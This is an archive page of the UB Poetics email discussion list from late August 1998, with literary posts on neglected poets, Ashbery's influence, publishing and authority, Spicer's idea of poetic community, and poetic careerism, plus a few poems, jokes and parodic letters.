right now i am trying to messure the distance between ong's theories of "primary oral culture" and j. rothenburg's work in "technicians of the sacred"

this may be a little front channel for you all but advice and suggestions always welcome through the back

ps. i'm sure there are spelling errors all the way through.

again,
kevin

↑ Index

728. Ron Silliman
Tom Meyer
Sun 30 Aug 1998

Hank,

Tom Meyer is the significant other in Jonathon Williams life, having been such since 27 September 1968 (happy 30th, guys!) as well as a fine lyric poet in his own right. That date is established by the footnote to the "Classified Advertisement" at the end of _The Loco Logodaedalist in Situ_ (Cape Goliard/Grossman).

Tom was a student of Robert Kelly's at Bard when I first met him, which was maybe two years before that. One of his early writing projects (long since abandoned) was called a _Technographic Typography_ an endless poem that was several hundred pages by the time Tom was 20 or thereabouts. It was an attempt to include everything and the idea behind has stuck in _my_ head ever since. A Fragment of Graph 42 appeared in the fourth issue of Tottel's, July 1971. (There were other Kelly students,John Gorham and David Kelly, in those early issues, in addition to Robert himself and several compadres like Irby, Marlatt and Rothenberg, tho the first "single person" issue, #3, was for Rae Armantrout, and the first person in the first issue was David Bromige--as you can see my editorial instincts have been somewhat constant over the years.)

Tom's published several books over the years, but living away from the major cities has I think made him far less well known than he deserves to be.

Ron
[redacted]

↑ Index

729. Hank Lazer
Re: Tom Meyer
Sun 30 Aug 1998

Thanks to Ron, Keith, Pierre, and Bill for the generous, helpful information on Tom Meyer. Yet another in the too long list of excellent neglected poets of our time.... In that vein, my personal hobbyhorse these days is Ted Enslin--I think Ted has as fine an ear, as interesting a musicality as anyone writing today. Mark Nowak has edited Ted's Selected Poems (which Burt Hatlen swears the National Poetry Foundation will publish this Fall). Those on the West Coast will have a chance to hear Ted read this October. I don't know precise dates and details of his West Coast reading tour. Perhaps Dodie may know? Not to be be missed.

As for those hard to find Jargon books, I still have no (affordable) leads on Larry Eigner's ON MY EYES. As you scour used bookstores, please keep me in mind & backchannel if you stumble across a copy. Thanks.

Hank Lazer

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730. Dorothy Trujillo
Pete Hautman
Sun 30 Aug 1998

Does anyone on this list know how to contact Pete Hautman---email or publisher or other?

He is a mystery novelist who writes, to my mind, like a cross between Douglas Woolf and a contempt-free Charles Willeford.

Thanks, and please back-channel this to me.
Best, Dorothy Trujillo Lusk
<[redacted]>

↑ Index

731. Mark Wallace
mapping the Ashbery influence
Mon 31 Aug 1998

I've been following the exchange between Jacques and Gary (and now Susan) with a lot of interest. While I agree that it's not so easy to separate what constitutes an 'academic' from a 'poetic' move (much less a 'critical' from a 'poetic' one) I think I see in Gary's post a much more serious undercurrent than simply the idea that to categorize is to academize, and I'm glad he's taken it on.

The point I'd like to suggest is that while categorization of some kind is going on in any kind of critical distinction (and that most of us are making such distinctions all the time), the issue has to do not only with questioning how the categories are constructed, but also with the implications they have for the issue of resources in the publishing world, who gets them and why. So the problem is not simply categorization, but the places and ways in which these categorizations get taken to be AUTHORITATIVE categorizations, and by who, and what happens when they get taken as authoritative. One of Gary's concerns, re the Talisman anthology for instance, is that the anthology, because it calls itself an anthology and because of the WAY that it calls itself an anthology, will be seen as an authoritative decision of whose work is worthy of further attention, when of course it represents nothing more (and nothing less!) than the

decisions that Lisa, Leonard, and Chris made together or semi-together about the poets whose work they wanted to feature.

I don't mind Jacques' characterizations very much (even though I don't entirely buy them) simply because he, and the context, make it perfectly clear that his argument is simply his attempt at categorizing a context, no more or less than that, although I suppose I'd find it troubling if I thought that Jacques was unconsciously accepting some sort of external opinion as authoritative, which I don't really think he IS doing. We'd have to discuss next, I suppose, the extent to which a New York Times article is taken (and by who) to be authoritative, and the extent to which an anthology is taken (and by who) to be authoritative. I agree absolutely with Gary that the Talisman anthology should have no more authority, say, than any other issue of the Talisman magazine--although I bet the anthology gets stocked in more stores simply and only because it labels itself an anthology. And I don't doubt for a second that Ed Foster, who puts a tremendous amount of labor into Talisman, knew that calling it an anthology might help it sell more copies, because he's obviously got to sell some of these books somehow if he's going to stay in business. And I for one WANT him to stay in business. But then I'd want to go even further and say that the Poems from the Millenium anthology, or the Norton anthologies, are themselves no more authoritative than than the Talisman anthology, while at the same time I KNOW they are taken as such in most academic and publishing contexts. Given the current state of the publishing industry (and the extent to which the American population takes the pronouncements of business AS authority), the question becomes not how to avoid authority and its potential misuse (which we're not going to be able to) but how to DEAL with it.

The problem then is one of authority as it is reflected by the process of categorization. Being in the Norton anthology probably means very little relative to the quality of one's work (and "quality" itself will obviously fall apart on ideological grounds), but if you're alive, you can be certain that being in Norton means potentiallly a lot in terms of resources for your work, chances for exposure, who will publish you, etc. Do such things matter to the creation of poetry? Whether or not they seriously impact one's ability to write (and some would insist they do and others insist they don't) they CERTAINLY impact how influence is perceived. And they certainly influence HOW one is influenced, since you can't be influenced by what you don't know exists.

So, is John Ashbery "influential" because many younger writers have been influenced by him? Have they been influenced by him because it's easier to find out about him than, say, Tom Raworth, whose work has greatly influenced me (as has the work of many other writers)? Do they simply APPEAR to be influenced by Ashbery because other equally strong influences are harder to locate in people's writing? While all of the above seem possible for differing writers,

the question I'd still want to ask is to what extent does the power of publishing itself help CREATE the Ashbery dynamic. Or put it this way: as poets we may have a great deal of power to choose our influences, but one of those influences is going to be the power of publishing resources to enable the idea of central influences. And this problem requires us to examine very closely how the publishing industry does enable this idea of central influences, and how we can either choose to accept or resist the dynamics that it puts in play.

The recent 100 best books list, for instance, was a business SCAM; but even as such, it's reached vastly more people, sadly, than anything Gary or Jacques have said.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

732. Robert Archambeau
The Ubiquitous Bowering
Mon 31 Aug 1998

The Bowering File: Further Evidence.

Within a day of arriving here in Lund, Sweden, I was informed of George Bowering's infamous doings at the Grand Hotel some years back. Lo these many years gone by, the Swedes remember it all in lurid detail.

George: can you confirm or deny?

Bob Archambeau

↑ Index

733. henry gould
Re: mapping the Ashbery influence
Mon 31 Aug 1998

THE STORY OF THE HOLOGIES

Once upon a pond there was a little family of frogs called the Hologies. There was Aunt Hology and Uncle Hology and lots of lil Hologies called Diurnal Kid Hologies. They were a big happy bunch of yappers indeed, until one day Aunt Hology said to Uncle Hology: "Why Unkie, is there anyone outside the pond that even knows we exist? Huh?" Uncle Hology scratched his left apology & said:

"Why Auntie, I just don't know! Let's build a big pond-pole & look way out yonder & see if anybody sees or knows us!"

So Aunt Hology & Uncle Hology & all the Diurnal Kid Hologies began to gather suet & phone books at the center of the pond. They were a darn clever bunch of Hologies indeed! They piled up the phone books & held them together with suet, wouldn't you know! Until they made a pond pole that almost reached up to a low-flying stealth crow named Biff (more about him in another book, kids!). Auntie Hology said to Unkie Hology: "Gee, Unkie, that's a tall pole! Are you going to climb that yourself?" Unkie scratched his right apology & said, "Why no - I'm too big & heavy! I'll send up little Nippy Hology, our favorite kid!" So good little Nippy started to climb. He climbed & climbed and climbed and climbed and climbed and climbed and climbed and climbed and so on and climbed and climbed and climbed and climbed some more and climbed and climbed, to the very top of that pond pole, until Aunt Hology & Uncle Hology couldn't even see him anymore! Unk Hology shouted up - "Nippy! Can you see anything?" No reply. "Nippy, you up there?" No reply. Uncle & Auntie Hology were beginning to get concerned about little Nippy when suddenly who did they see but Biff the stealth crow, holding Nippy by his shirt collar in his big black beak & flapping off toward the southwest!

- to be continued -

- Jack Spandrift

↑ Index

734. Burt Hatlen

Re: POETICS Digest - 28 Aug 1998 to 29 Aug 1998 (#1998-47)

Mon 31 Aug 1998

[redacted] writes:
>berrigan was not the only whalen booster. warsh wrote an essay on OBH.
>waldman interviewed him and he taught at naropa in the early years.
>coolidge as well was a big booster.

> *it would be great if a collected where issued-- maybe too much for a small*
> *press to handle*

I heard that Penguin was going to do a Whalen collected. Does anyone know if there is any truth to this rumor?

Burt Hatlen

↑ Index

735. **Mark Prejsnar**

The Anxiety of Nonfluence, Or, Spicing it Up

Mon 31 Aug 1998

Thanks to Mark Wallace for a very incisive and rich set of reflections, spinning off the Ashbery etc thread....

I would like to carry further some of his thoughts on publishing and the institutional context of poetry.

First, i've just finished reading Poet Be Like God...I believe that Ellingham and Killian deserve a big-time ovation for a brilliant book, a book that is *useful* and informative, as well as thoughtful about a lot of the issues brought up by Jack Spicer's work and career. (Fun to read, too)

It is some of those issues, that i think link up with point Mark W. has just been making.

One of the most striking things about Spicer's life and career, which i think will in many ways grow in importance in time to come (as will the influence and ubiquity of his work) is his insistence on poetry and poetix as being constituted by the shared projects of a community. In a way, he almost completely dissolved for his own world the distinction between "the audience" and "the poets", replacing it with a more demanding and fierce idea, of a community to which people had a commitment. Thus his (seemingly bizarre) insistence that magazines and publishing projects with which he was associated, and his own published works, not be distributed outside the Bay Area. This gets into many other odd directions, such as his angry belief that Duncan had "sold out" for money, because of having national acclaim of a sort and nationally-distributed books. (i found this part especially bemusing, as one can just imagine what "big bucks" RD was getting from his New Directions sales in the first few years of the '60s!)

The point is, that there are ways of thinking about the ongoing activities of poetry, which confront the extremely corrupt nexus of publishing-academe-middlebrow PR that seems so hopeless and destructive to me. I don't advocate folks refusing to publish or distribute outside their own city; but i take Spicer's deliberately "quixotic" approach as a kind of challenge and inspiration. Many of the most vital ongoing approaches to poetry distribution/reception/support right now, have some of the same insistence on the guerilla dimensions of liliputian resistence/lilliputian creativity. Small xeroxial mags and similar "fugitive" forms; a strong emphasis in some cities on local exchange of work and readings and discussion meetings; the highly creative and beautiful work the small presses have been doing. There are even several quasi-magazines, distributed only to their contributors, which are a sort of workshop/collective space, for

poets who share similar interests and directions. This latter phenomenon seems to be consciously based on the Spicer circle's Open Space project.

I believe that even the emergence of a really fine poet *who has no body or legal biographical existence* (Araki Yasusada) is in part one form of resistence to contemporary publishing/careerism patterns. In this respect, Yasusada's ghostly career shares certain dynamix with the striking emergence (in the last 15 years) of *collaboration* as a major mode of poetic activity in the U.S. This also is a way in which the work is given its own right to live, within a self-evolving community; like Yasusada, creating and publishing collaborative work turns the attention away from a fetishized Poet as celebrity/personality; and like Spicer's mad imaginings, it foregrounds poetic community within an ideal of fiercely-committed collective practice.

Mark Prejsnar
@lanta

↑ Index

736. Jordan Davis
talkin to me?
Mon 31 Aug 1998

Love that Pepsi cap game!

But Mark, do you really only write for the community of poets? Even if that would work with Tim Davis's rewrite of Stein ("I write for myself and strangeness" -- or maybe Tim stole someone else's rewrite?), wouldn't you want to get out some time? Talk to other people, have other people listen to you?

I don't think democracy is especially well-served by communities breaking down into hermetic units, actually. You need news, from here and abroad (and I'm not _only_ speaking about genetics).

Jordan

↑ Index

737. David Baratier
Re: Last Call
Mon 31 Aug 1998

I don't think that connection is far off. Chris, I'm looking up the fall song I think it might be My new house off of _This Nation's Saving Grace_ This is for db3, Gary, George, Jordan, cs, & anyone else to enjoy--

Seattle Police responded yesterday in the early morning hours to a complaint that a man was attempting to use a rubber hose to siphon and

steal
gasoline from an RV parked downtown. Police arrived on the scene to find
the man curled up on the ground vomiting profusely. Evidently there were several
tank outlets on the RV and the man had inadvertantly hooked his siphon
hose up to the sewage tank of the RV. The owner, who was asleep inside at
the time and woken up by the ruckus, refused to press any charges stating
that it was absolutely the best laugh he had ever had in his life.

↑ Index

738. Mark Prejsnar
Hermes Tries Majestically
Mon 31 Aug 1998

If you take a look at the influence Duncan, Spicer and others have had, you'll see the fallacy of your way of putting it...

To challenge through alternative structure *need not* be "breaking down into hermetic units"....

On Mon, 31 Aug 1998, Jordan Davis wrote:

> *Love that Pepsi cap game!*
>
> *But Mark, do you really only write for the community of poets? Even if that would work with Tim Davis's rewrite of Stein ("I write for myself and strangeness" -- or maybe Tim stole someone else's rewrite?), wouldn't you want to get out some time? Talk to other people, have other people listen to you?*
>
> *I don't think democracy is especially well-served by communities breaking down into hermetic units, actually. You need news, from here and abroad (and I'm not _only_ speaking about genetics).*
>
> *Jordan*

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739. Jordan Davis
encoded heterosexism colonizes the future apologetically
Mon 31 Aug 1998

My apologies for the "strangeness" of my reply to Mark -- aside to Todd, the Self is very important for accountability and apology, no? --

it is an unsettled issue, what genetics would have to do with poetry --

in the context of Duncan's and Spicer's ideas of community it must have sounded like a threateningly heterosexist remark --

it's just that "unacceptable" O'Hara in me (winking so hard I look weird), making me think that a community is always involved with the communities around it whether or not it makes any sense or does anybody any good -- but then my name ain't Francis --

my name Attilla --
Jordan

↑ Index

740. Gary Sullivan
What's there is there. I'm here . . .
Mon 31 Aug 1998

Last Exit to Multiplicity

or, How I Learned to Stop Worrying & Love the Bottomless Cusp

for Jacques, Jordan, Chris, Susan, Henry, David, David, Mark y Mark y Mark & anyone else who wants it

"To speak is to appear as a continuum" --Daniel Davidson

"There isn't room for absolution" --Sheila E. Murphy

"Countless are the beauties of land & sea we've already seen, shining brilliantly in the light of our eyes" --Gary Sullivan

"Perception's gifts are too numerous to explain" --Laurie Price

"eternity is a burning intimacy" --Drew Gardner

What I mean to say is, "To begin with, I could have slept with all of the people in the poems." (Spicer) In other words, "But they're not perfect he said. They're never perfect. There's always something missing." (Di Prima) And, "I begin to copy my favorite pornography books and become the main person in each of them." (Acker) What about the anxiety of the influencial? "But after being photographed alongside of me,/ you throw me back. Afraid of what I'd do/ inside of you?" (Stroffolino)

The anxiety of the would-be-influential and those who mediate for them is palpable today: Every other call in my office from some desperate media hack wanting to speak with a Columbia History specialist in Modern British History to give their sad little made-for-TV Diana-narrative credibility. When you refuse to help them, they become vicious, threaten to call your supervisor, the Dean, get you removed from your job, "Don't you know who I am? Ned Fergeshnurgh of NBC!" You can almost feel the sores in Ned's stomach bleeding.

"Not Me" means not necessarily a turn towards hermeticism. Did it for Eileen?

If I is another, I is not just any other. The self, whether considered as construct or consumation, makes itself felt, presently, as specifically made manifest:

A Glimpse

There is a knot in the middle of my head
that will never be untied.
Two monkeys sit there,
one on the right turned toward me, the
other crouched and turned
away. They
have red hair and do not play
with their chains. But sit on a ledge
above Venice? anyway a city with canals
painted by Breughel, I see
them in a mirror when I look for my own face.

(John Wieners)

from As If We Could Ever Be Interested in What's between the Points of Interest:

I thought that what I thought was more like
What I felt than what I did was. But I thought
(or felt) that others would think that what I did
Was more like what I felt (and mattered more)
Than what I thought was. And dressing up like my
Superego when it thinks the only things that matter
Are in me, they yell. "Hey, pig, cripple, Mr. Substance-
But-No-Style, Mr. Signifyin' Monkee." having got my
Number by the balls, but I was too busy pretending
I was too busy to listen.

(Chris Stroffolino)

If I am what I read then I am everything I've read, am reading, will read. At least. And cultural neglect might allow the poet to say more than patronage:

from Song of the Cut-Price Poets:

To the shafts of your wagons sunk deep in blood and mire
Time and again we harnessed our splendid words
Called your huge slaughteryards Fields of Honour
True steel, trusty companions your bloodstained swords.

(Bertolt Brecht)

from Allowance Money that Is Death to You:

I hold my tongue until sanity goes on strike
And stinks up the place with saints
That threaten to dub you satan until vexed
By breathing past the treelines of martyrdom
Into the silence that's really the next poem
Unless you can stir the clouds out without the coffee
Raining up into your face on a swing casting shadows

(Chris Stroffolino)

And given everything, why not say everything, include everything? There is no reason, in our poems, to be monogamists. There is every reason in the world not to be. Each, and each And . . .

To be continued as the day wears on . . .

↑ Index

741. **MAYHEW**
poetic careerism
Mon 31 Aug 1998

Following recent posts by Mark, Mark, Gary, Jordan, et al...

Can a poet control who is reading him or her and how? It seems to me that the issue of the poet constructing a career or anti-career in a self-conscious way becomes important because it gives the illusion that the poet is in control of a process of reception that is actually uncontrollable. There is the "coterie" poet, given a positive meaning in Spicer. There is the O'Hara model of casual indifference (or pretence of). Then there is Berrigan's approach, seen in the poem "Something amazing just happened," in which he recounts a dream: "Mr. Berrigan, he says, & without waiting for an answer goes on, / I'm happy to be able to inform you that your request for a Guggenheim Foundation Grant / Has been favorably received by the committee, & approved. When would you like to leave?"

I don't mean to stigmatize or ridicule any of these approaches to "career," (or negation thereof) just to suggest that they are all responses to the same impossible situation. Celan suggested the poem was a "message in a bottle."

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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742. Henry Gould
Re: poetic careerism
Mon 31 Aug 1998

Making poetry is always an address to an audience, a conversation - at the same time it is a process of the individual separating out from group ways of responding & cliches - at the same time it is a response to the models & heroes of tradition. So it is action at a distance in the quantum sense as well as a present, contemporary predicament. This DOES seem like an impossible, contradictory situation, until you remember that the reason people start making art in the 1st place is that it seems a process of tapping into a living energy - a vitality that makes the distinctions of past & present, near & distant, seem less absolute. There is this uncanny aspect of revitalizing dead voices & past or distant traditions - the model is resurrection - everything brought into the present in some way - the present of the poem...

so tendencies leaning toward pure careerism or pure technique or pure antiquarianism seem more like weaknesses than strengths in the long run -

Celan's "message in a bottle" aphorism came from Mandelstam, most probably (see M's essay "On the Interlocutor"). Celan also has this curious approach (in his hard-to-follow prose) to the poet as anti- or post-artist - this may relate to the "vatic / craftsperson" continuum; we look to poetry not only for poetry-in-itself but for the poet who absorbs all existence - cosmic, historical, moral - & turns it into poetry - this again is that uncanny aspect, of art transcending itself (via experience & humility) - & it doesn't have to be a grandiose thing - but integral to the poem's stance & voice(s) -

- Henry Gould

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743. Erik Sweet
pets and sparks...money losing my teeth again
Mon 31 Aug 1998

---

the pets around here are sometimes kicked by mean kids
"hey stop"
and the sparks fly when diamonds step up to eat
hamburgers and the small people sometimes
beat up the larger ones
jordan davis is only an image of the real jordan i met
who juggled ferrets and ate money
and i'm telling you people that man Derrida is actually
Mel Blanc.

erik sweet

↑ Index

744. David Golumbia
Re: Last Call
Mon 31 Aug 1998

Didn't rign any bells for me either - and as an "official" contributor to the "fall lyrics parade," i have "authority." i can vouhc for this though:

terry waite sez
give us a ring
gave us a ring, he did
mr. big

(note that many meaningless syllables should be inserted to cause this to scan-uh)

but it could be my new house - there's a lot of nice things about it, keep away from my new house, according to the postman it's like the bleeding bank of england

& god damn the pedantic Welsh

David Baratier wrote:
>
> I don't think that connection is far off. Chris, I'm looking up the fall
> song I think it might be My new house off of _This Nation's Saving
> Grace_ This is for db3, Gary, George, Jordan, cs, & anyone else to

--
[redacted]
David Golumbia

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745. Gabriel Gudding
Cheering Thought
Mon 31 Aug 1998

In regard to the often cloying obligato about "web communities," e-communities etc etc, the AP proffers teh following:

"The more hours people spend on the Internet, the more depressed, stressed and lonely they feel, according to a groundbreaking study that surprised its authors.

Internet use had the same effect even for people who spent most of their time in such social activiites as chat rooms or exchanging e-mail, said the study headed by Robert Kraut, a social psychology professor at Carnegie Mellon Institute in Pittsburgh.

Sociable users end up feeling just as isolated as users who spent more time crawling the Web for information, Kraut said Sunday.

One reason for the negative effect might have been that using the Internet left less time for the deeper relationships of friends and family, Kraut suggested.

'People are substituting weaker social ties for stronger ones,' he said. 'They're substituting conversations on narrower topics with strangers for conversations with people who are connected to their life.'

It was the first study to examine the emotional impact of people's Internet use over time, Kraut said.

The findings contradicted the researchers' expectations."

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746. Mark Weiss
Re: Cheering Thought
Mon 31 Aug 1998

As a veteran reader of social science research I'm always a little sceptical, and only a reading of the protocols for the study would answer my specific concerns. A favorite of mine was a study that purported to find that epileptics are stranger than other people even between seizures. The researcher suggested in his conclusion that there might be undetected brain-wave abnormalities present. Of course, despite the well-known side effects of most anti-spasmodics he didn't differentiate in his tiny sample between those on medication and those not. Nor did he take into account the impact of the stress caused by the expectation of seizures or the prejudice against people who sometimes demonstrate

showy symptoms in public. Then there's the one I'm sure everyone on the list remembers that purported to demonstrate that if you went to the writing program at Iowa you were in danger of becoming manic-depressive, or the recent one that claimed that younger siblings are more likely to be revolutionaries than the eldest child. Here, it would be nice to know how depression was diagnosed, how the control group was constituted, and if, perhaps, more depressed people with fewer social ties were more likely to resort to the internet. In other words, did the internet make them depressed or did depression make them log on? Kind of like asking if coughing causes TB or the other way around. But Professor Kraut probably got tenure for this one.

At 07:36 PM 8/31/98 -0400, you wrote:
>In regard to the often cloying obligato about "web communities,"
>e-communities etc etc, the AP proffers teh following:
>
>"The more hours people spend on the Internet, the more depressed, stressed
>and lonely they feel, according to a groundbreaking study that surprised
>its authors.
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>Internet use had the same effect even for people who spent most of their
>time in such social activiites as chat rooms or exchanging e-mail, said
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>Carnegie Mellon Institute in Pittsburgh.
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>time crawling the Web for information, Kraut said Sunday.
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>One reason for the negative effect might have been that using the Internet
>left less time for the deeper relationships of friends and family, Kraut
>suggested.
>
>'People are substituting weaker social ties for stronger ones,' he said.
>'They're substituting conversations on narrower topics with strangers for
>conversations with people who are connected to their life.'
>
>It was the first study to examine the emotional impact of people's
>Internet use over time, Kraut said.
>
>The findings contradicted the researchers' expectations."
>
>

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747. **Laura E. Wright**
Re: Cheering Thought And Location
Mon 31 Aug 1998

This takes us back to location: the internet as location rather than activity/passivity. Where are we when we are here? I think Alan Sondheim's work is situated somewhat in this "site." It's a pretty new "place" and that may be what makes his work difficult to many of us?

Nothing wrong with depression, either,
Laura

Mark Weiss wrote:

> *As a veteran reader of social science research I'm always a little sceptical, and only a reading of the protocols for the study would answer my specific concerns. A favorite of mine was a study that purported to find that epileptics are stranger than other people even between seizures. The researcher suggested in his conclusion that there might be undetected brain-wave abnormalities present. Of course, despite the well-known side effects of most anti-spasmodics he didn't differentiate in his tiny sample between those on medication and those not. Nor did he take into account the impact of the stress caused by the expectation of seizures or the prejudice against people who sometimes demonstrate showy symptoms in public. Then there's the one I'm sure everyone on the list remembers that purported to demonstrate that if you went to the writing program at Iowa you were in danger of becoming manic-depressive, or the recent one that claimed that younger siblings are more likely to be revolutionaries than the eldest child. Here, it would be nice to know how depression was diagnosed, how the control group was constituted, and if, perhaps, more depressed people with fewer social ties were more likely to resort to the internet. In other words, did the internet make them depressed or did depression make them log on? Kind of like asking if coughing causes TB or the other way around. But Professor Kraut probably got tenure for this one.*
>
> *At 07:36 PM 8/31/98 -0400, you wrote:*
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> *time crawling the Web for information, Kraut said Sunday.*
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> *One reason for the negative effect might have been that using the Internet left less time for the deeper relationships of friends and family, Kraut suggested.*
>
> *'People are substituting weaker social ties for stronger ones,' he said. 'They're substituting conversations on narrower topics with strangers for conversations with people who are connected to their life.'*
>
> *It was the first study to examine the emotional impact of people's Internet use over time, Kraut said.*
>
> *The findings contradicted the researchers' expectations."*

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
  * * * * * *
"It is very much like it" -- Gertrude Stein

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748. david bromige
Sordid in Lund
Mon 31 Aug 1998

Jag r inte på Listen, darfr ha jag frågte av Herr Professor David Bromige, om han ville vara så snell och påste en e-brev før mej. Ja, det r sant, jag har spielde med Herr Professor Bowering utan kldning nr han har varte på Lund. Han var førsupnade som en kta fyllersvin, och han har upchuckade flera gången. (Som "G" har gjørde in hans bØk _Piccolo Mondo_ [En Obetydlig Vrld--kpa den; från Coach House Books, Toronto]). "Det r lång," han har sakte mej, på hans hemska svensk, "men det r trtt. Godnatt." Han var obegriplig, som en oolichan, eller en grngling. Det var sorglig, eh? Men jag har glmte det (bara nu) och hittet en andra, bttre, man. Tak så mycket och hej på alla. Fysikalisk Arbeter Amanda Fjderhane.

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749. **KENT JOHNSON**

(Fwd) To say again: Will you come to Khartoum?

Mon 31 Aug 1998

------- Forwarded Message Follows -------
From: Self <STUDENT/KJOHNSON>
To: kjohnson
Subject: To say again: Will you come to Khartoum?
Date: Mon, 31 Aug 1998 21:01:58 -0500

Dear Mr. Davood:

Please excuse me for writing wrongly your name. Perhaps I could repent it was my spell-check. But sadly, thus, it is my dwelling in circles beneath your demonstrations of methods. Oh, do not think it is easy to say this, nor is it to shovel toward the upward, I think. No, sirree. Indignation has rocks in its mouth to please a Greek. Here in Sudan, children suck on them. Please excuse my bad writing.

In any cases, of course the truly poor live on the moon, Mr. Davood. Do you doubt it? They build their writing huts, especially and charmingly, in craters dug by exploded children. I know, of course, that some of the poor live also in Sebastopolo, but these would be, of the foreground, poor people of working kind, not like many other people living in Sebastopolo, some of which, my own blood tells me (my brother, that is), have on villa walls pretty blades of glass. "Well, ha, ha, privilege is the hothouse for irony," murmur Saudi caddies, their hair piled high like dark embassies. Consequently, thank God for this and for all of the things in the kingdom. Otherwise, where in the desert is laughter?(!)

(Immediately I wish to plainly say: Please do not think me double-faced, for I cannot utter a lie: I, most like you, yet like many, have inherited a fortune from a chemical future. And perhaps, yes, a forked tongue is like a forking path. No difference what you take, you come sighing to one place. I'll bet not, but here I must say, OK, anyway, my logic has an apparition of breaking down.)

Therefore, if I may interrupt my caravan of thinking with the allusions as they exist to ask the following: Please say best wishes to my sister-in-law at the health-spa. Thank you.

Also, because my passion-point is translation (please remember this), here is a poem for machista men (erotic) by a man named Roque Dalton of the country of El Salvador. He was not killed by students of Green Beret, but by fellow-believers, at 40 years, in one Byzantium power struggle inside the terrorist circle:

Toward A Better Love

No one disputes that sex
is a condition in the world of the couple:
from there, tenderness and its wild branches.

No one disputes that sex
is a domestic condition:
from there, kids,
nights in common
and days divided
(he looking for bread in the street,
in offices or factories;
she in the rear-guard of domestic functions,
in the strategy and tactic of the kitchen
that allows survival in a common struggle
at least to the end of the month).

No one disputes that sex
is an economic condition:
it's enough to mention prostitution,
fashion,
the sections in the dailies that are only for her
or only for him.

Where the hassles begin
is when a woman says
sex is a political condition.

Because when a woman says
sex is a political condition
she can begin to stop being a woman in herself
in order to become a woman for herself, establishing the woman in woman
from the basis of her humanity
and not of her sex,
knowing that the magic deodorant with a hint of lemon
and soap that voluptuously caresses her skin
are made by the same corporation that makes napalm
knowing the labors of the home themselves
are labors of a social class to which that home belongs,
that the difference between the sexes
burns much better in the loving depth of night
when al those secrets that kept us
masked and alien are revealed.

---------- Needlessly to say to you, this poem would be totally banned by the Taliban. So no, no, we do not have to kill each other. But probably, as humans, we desire to. And our wandering letters, a thousand nights from now and one, shall be wondered about by initiates in the poesies of terrorism. If you will not doubt this, neither will I. In a direction of English speaking, therefore, why don't we just kill each other, baby? Like Arab-dubbed Wheel of Fortune, it shall be hand-clapping time.

Still, without a chuckle, we should be friends, and you may be right: It is always one danger in this that bad writing, like a name, will hide behind itself. Perhaps I do this and perhaps not. Or perhaps sometimes I do this and sometimes not. Or perhaps I always do this and wish it were not. Or perhaps I usually never do this and wish it were so. Oh, wrap your night-sheathed arms around this paunchy belly, Mr. Davood, and ride with me. We may die of thirst, but together we must mark all the mirages as one, and thus on. Am I speaking in any sense to you?

And if you wish to call me in my ear Mr. Kent, very well then, you may call me Mr. Kent. But only for the clicking sound that you love.

For now we are inside a certain thing. A camel has been kicked. Will you come to Khartoum?

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750. nico vassilakis
Northwest Vispo
Mon 31 Aug 1998

An Exhibition of Northwest visual & concrete poetry

Sept. 1 - 23
opening Sept. 13th 4-6pm

at The Richard Hugo House
1634 eleventh Ave
Seattle, WA 98122

including work by Maris Kundzins, Helen Lessick, Jim Clinefelter, Crag Hill, Nancy Burns, Heather McHugh, Paul Thaddeus Lambert, M.Kettner, C.C.Elian, Lex Loeb, Thomas Lowe Taylor, C.Bush, Dean Wynveen, Nico Vassilakis, Sloy,Brent Hendricks & others.

curated by Nico Vassilakis

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751. **Scott Pound**
Re: ascetic aesthetics
Mon 31 Aug 1998

The influence of Western Idealism on aesthetics is a big part of the problem. As a theory of pure mind, Idealism renounces the body as a corrupt and vulgar source of information/truth. Hence, the renouncing of pleasure as part of the aesthetic. Kantian aesthetics do not renounce pleasure, though. In the Analytic of the Beautiful that's all Kant talks about.

> *I have become interested recently in theories of aesthetics which emphasize the renunciation of "pleasure." So far, I have seen this theme in Kant, Adorno,Ortega, Bourdieu (who offers a critique of this tendency), and a few others. If anyone can steer me to other classic instances of this phenomenon (or to discussions of it) I would appreciate it. Basically, the problem is the following: why do so many theories of aesthetic "pleasure" emphasize askesis, or the renunciation of aesthetic pleasure itself?*
>
> *By the way, Fray Luis de Leon was not a medieval poet, Henry. I don't know that he wrote a sonnet a day--his complete poetry is a fairly thin volume. One of the heresies of which he was accused was the suggestion that it was possible to improve upon the Latin translation of the bible (the vulgate).*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

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752. **Scott Pound**
Re: ascetic aesthetics
Mon 31 Aug 1998

> *Quote and query: I suspect the void Kristeva deals with in this essay differs from that in the original query to the list, but I'll post it anyway as I have a further question:*
> *"In its most audacious moments current (Lacanian) psychoanalytic theory proposes a theory of the subject as a divided unity which arises from and is determined by lack (void, nothingness, zero, according to the context) and engages in an unsatisfied quest for the impossible, represented by metonymic desire." - The subject in process from _The Tel Quel Reader.*
>
> *My question is what does "metonymic" mean here? I'm baffled or am I just in an end of summer heatwave funk/*

> *tom bell*

Metonymic, as Lacan used it in relation to desire, could mean 'serial'. Lacan proposed that desire proliferated in "metonymic chains", series of objects related contiguously rather than essentially.

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753. **Karen Kelley**
Re: ascetic aesthetics
Mon 31 Aug 1998

How would this be different from Freudian association?

> *Metonymic, as Lacan used it in relation to desire, could mean 'serial'. Lacan proposed that desire proliferated in "metonymic chains", series of objects related contiguously rather than essentially.*

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

September 1998

712 messages · Tue 1 Sep 1998 – Thu 1 Oct 1998

September 1998 handed the room three of the year's largest stories — the Starr Report loosed onto the internet on the eleventh, Mark McGwire overtaking Roger Maris in the same days, the death of Akira Kurosawa — and the list read every one of them, but filed each under poetry. The word impeachment appears in the whole month exactly once, buried in a forwarded wire from Beijing; Hurricane Georges and the word Google do not appear at all. What the room seized was never the event but the language around it. It could mourn plainly enough when it chose — Robert Archambeau relayed *"the great director Akira Kurosawa has died."* and told the list to rent Rashomon that night — but the news of its own country it would admit only in translation.

